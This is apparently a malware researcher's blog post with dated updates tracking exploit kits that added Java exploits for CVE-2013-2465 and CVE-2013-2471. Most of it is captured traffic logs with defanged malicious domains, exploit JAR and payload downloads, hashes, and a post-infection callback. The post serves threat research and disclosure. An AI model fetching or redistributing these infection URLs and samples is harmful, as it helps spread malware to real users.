Styx "Kein Edition" :
(this is Styx, but that instance was named Kein in the past)

CVE-2013-2465 successful pass in Styx "Kein Edition"

GET http://www3.upziaixl5c0vi0.4pu .com/?26wu4g7=Vqbg2XGaXerZ3qaSmaicbomc6aZdZlzr6aCkbKbSr52am6vRZpVU
302 Moved Temporarily to http://www1.e23xiqinf9cjsdfh.4pu .com/i.html?1wsgytq9=VezYzrbn0qjWnVnt0tWmn5Zpk6OZ1M%2FMbqqZyNvW43a3hn6e1eSmn5Zpm5Di16Pfp66ZyeLYrpvEe3ixj9jc6NGboOPY3Nvcl%2BqZytyxtX6Lm6O1nKKXpZRqm6GhnJ%2BOpOvU2%2B7nrmqLqZzcpqKZnplf197foZuZk6ynoKun1mqXWKfrpqKcpZxulKKkl5aOlebgyOLirrDcqWam3uHj18ei29aox5bemqehm%2Bnpn5zUn1nr3uXZq8%2Bs2NPrztOOo9zZpOHo5amKZXSdm7eOoKysyNzqksnUmtre2ujmn5zUn1iqr%2BPO0s%2Brkdrb1Iubd%2Bzl056ntaHZpqOdnLKOoKxelbDU0M%2FJpOXY3qmkp2fXp1iqr%2BXN4YtrqdPhksnPmpymraqqlQ%3D%3D

GET http://www1.e23xiqinf9cjsdfh.4pu .com/i.html?1wsgytq9=VezYzrbn0qjWnVnt0tWmn5Zpk6OZ1M%2FMbqqZyNvW43a3hn6e1eSmn5Zpm5Di16Pfp66ZyeLYrpvEe3ixj9jc6NGboOPY3Nvcl%2BqZytyxtX6Lm6O1nKKXpZRqm6GhnJ%2BOpOvU2%2B7nrmqLqZzcpqKZnplf197foZuZk6ynoKun1mqXWKfrpqKcpZxulKKkl5aOlebgyOLirrDcqWam3uHj18ei29aox5bemqehm%2Bnpn5zUn1nr3uXZq8%2Bs2NPrztOOo9zZpOHo5amKZXSdm7eOoKysyNzqksnUmtre2ujmn5zUn1iqr%2BPO0s%2Brkdrb1Iubd%2Bzl056ntaHZpqOdnLKOoKxelbDU0M%2FJpOXY3qmkp2fXp1iqr%2BXN4YtrqdPhksnPmpymraqqlQ%3D%3D
200 OK (text/html)

GET http://www1.e23xiqinf9cjsdfh.4pu .com/zpdr.html
200 OK (text/html)

GET http://www1.e23xiqinf9cjsdfh .4pu.com/jvvn.html
200 OK (text/html)

GET http://www1.e23xiqinf9cjsdfh .4pu.com/BlUrdse.jar
200 OK (application/java-archive)  a57c6b750f4ad08816086af89fe79fc6 File: Owncloud via goog.gl

Piece of CVE-2013-2465 in Styx "Kein"


GET http://www2.d-93mv3zwkzkt.co7 .us/?qj7xbjj33e=lc2k3J%2FP4phZ2s2RdmSdpmOznd%2Fu17Gmm5mtlqOcZpiWllOtpqqnZrGtoKujpaSaXeTVp5tjY52KjpuV37OFzsKR6tTYrp1d64Y%3D&h=15
200 OK (application/octet-stream) 727aa2741cf1acfda34dd7d039950ea2 Simda


I will update this post as soon as I find it elsewhere.

<edit1 2013-08-16 18:00>
"When it rains, it pours" Timo Hirvonen about  CVE-2013-2471 POC published on 2013-08-14.

Timo Hirvonen (F-Secure) Tweet about the CVE-2013-2471 Poc
Two days after publication code reach exploit kit too.
CVE-2013-2471 spotted in Kore Exploit Kit :
(aka Sibhost - Aka Urausy/BestAV EK)

Many thanks to Timo Hirvonen and Chris Wakelin for help.

CVE-2013-2471 Successful pass in Kore 2013-08-16
GET http://21sdtdzdrbzdrb8.3d-game .com:85/6N3M5P9z2L0KiXxnm5V9HonGcL7VP
200 OK (text/html)

GET http://21sdtdzdrbzdrb8.3d-game .com:85/jquery.js
200 OK (application/javascript)

GET http://21sdtdzdrbzdrb8.3d-game .com:85/6N3M5P9z2L0KiXxnm5V9HonGcL7VP1.zip
200 OK (application/octet-stream) f32de44a0886a75af7aa5285a66707de File : http://goo.gl/UQ7mhq


CVE-2013-2471 in Kore


GET http://21sdtdzdrbzdrb8.3d-game .com/6N3M5P9z2L0KiXxnm5V9HonGcL7VP?id=1&text=620
200 OK (text/html) <-- Call back after successfull infection

Payload is Urausy.
</edit1>
<edit2 2013-08-17>
CVE-2013-2465 spotted in Redkit ?? :

<edit3>This is NOT Redkit. Sorry about that. Thanks @xio_security.</edit3>


CVE-2013-2465 successfull pass in Redkit ???
GET http://heimstaette-baerau .ch/blog/?p=5643
200 OK (text/html)

GET http://heimstaette-baerau .ch/blog/zps.fe54
200 OK (text/html)

GET http://heimstaette-baerau .ch/blog/rebza.tmp
200 OK (application/java-archive) 0996091c7bca0375cef3fb85bbc39af4 File here(Owncloud via goo.gl)

Piece of CVE-2013-2465 in Redkit jar 2013-08-17


GET http://heimstaette-baerau .ch/download.asp?p=1
200 OK (application/octet-stream) Karagny (??) -  Decoded : ea40fee41c877f33b48125dbe92151bf

Sakura : CVE-2013-2471 :
Thanks to Chris Wakelin for providing a referer.


CVE-2013-2465 sucessfull pass in Sakura 2013-08-17
GET http://28holo.iyupinaiqu.slupsk .pl:52/round.php
200 OK (text/html)

GET http://28holo.iyupinaiqu.slupsk .pl:52/groundmembers.b200 OK ()  21b414d722e79f0af3fb8b1ec3a10d26 File here (Owncloud via Goo.gl)
CVE-2013-2471 in Sakura 2013-08-17
GET http://28holo.iyupinaiqu.slupsk .pl:52/25747.a
200 OK (application/octet-stream) Zaccess. Decoded : 64fca5d4cc118384a1dd4d12d1028914


</edit2>
<edit4 2013-08-18>
Neutrino : CVE-2013-2465 :
In Neutrino now : (not 2471 as previously written. Thanks Chris Wakelin).
CVE-2013-2465 successful pass in Neutrino 2013-08-18 =)
GET http://bcmgmychnitfsyrfhysjj.podzone .org:8000/hhmblrbxccy?grxxbc=1492014
200 OK (text/html)

GET http://ajax.googleapis .com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)

GET http://bcmgmychnitfsyrfhysjj.podzone .org:8000/index.js
200 OK (application/x-javascript)

POST http://bcmgmychnitfsyrfhysjj.podzone .org:8000/nbmucsyxv
200 OK (text/html)

GET http://bcmgmychnitfsyrfhysjj.podzone .org:8000/exrybkyrvdjes?yegpmkpd=noksqa
200 OK (application/java-archive) 46e2cc42dba10e6de72fbdacc5bf1b9d File Here (Owncloud via goo.gl)

Piece of CVE-2013-2465 in Neutrino jar 2013-08-18


GET http://bcmgmychnitfsyrfhysjj.podzone .org:8000/zdalnfookkkic?yjnhbik=noksqa
200 OK (application/octet-stream)  Payload once decoded was : 5d6d892cdc7d580839d0947fa983775c
</edit4>
<edit6 2013-08-20>
Blackhole Exploit Kit : CVE-2013-2465
CVE-2013-2465 positive pass in Blackhole Exploit Kit 2013-08-20

Note : this is a Blackhole in "EKaas" using API ( domain and path are fast rotating).

GET http://mlbrsd.xx2.peoplesearcherstuners .org/2c6f1/components_cums_affecting/persuade_chips-install.php
200 OK (text/html)

GET http://mlbrsd.xx2.peoplesearcherstuners .org/2c6f1/components_cums_affecting/persuade_chips-install.php?gktBn=atztcBRX&yBeNSyNyLEgI=rIiTF
200 OK (application/java-archive)  6cf6091c11a9fdf2fe23afcfd39010e8 File here

Piece of CVE-2013-2465 code in BH EK & Cool EK 2013-08-20

GET http://isuvnw.xx2.peoplesearcherstuners .org/2c6f1/components_cums_affecting/persuade_chips-install.php?sf=52322h2f32&be=532f553155532j552g32&y=2d&eZ=V&RR=L
200 OK (application/x-msdownload) Payload once Decoded : fc4fb9bedb0c3f57d4eb824308ea15ab

Cool EK : CVE-2013-2465 (exact same file as Blackhole)


GET http://degnera.realdealdemocracy .com:801/hard_piece-core_sulphur.php
200 OK (text/html)

GET http://degnera.realdealdemocracy .com:801/send_civic.html
200 OK (text/html)

GET http://degnera.realdealdemocracy .com:801/quietly-sort-withdrawal_unity.html
200 OK (text/html)

GET http://degnera.realdealdemocracy .com:801/tame_knight-courage.html
200 OK (text/html)

GET http://degnera.realdealdemocracy .com:801/determine-syntactic_winner.html
200 OK (text/html)

GET http://degnera.realdealdemocracy .com:801/diagnosis_hemisphere_energy.jar
200 OK (application/java-archive) 6cf6091c11a9fdf2fe23afcfd39010e8 File here

Piece of CVE-2013-2465 code in BH EK & Cool EK 2013-08-20
GET http://degnera.realdealdemocracy .com:801/diagnosis_hemisphere_energy.txt?e=20
200 OK (application/x-msdownload) c973b3c58ec3bb04a43e649722e1e2f1 (didn't check but it should be Reveton/Live Security Professionnal)
</edit6>
↧
Viewing all 185 articles
Browse latest View live
Search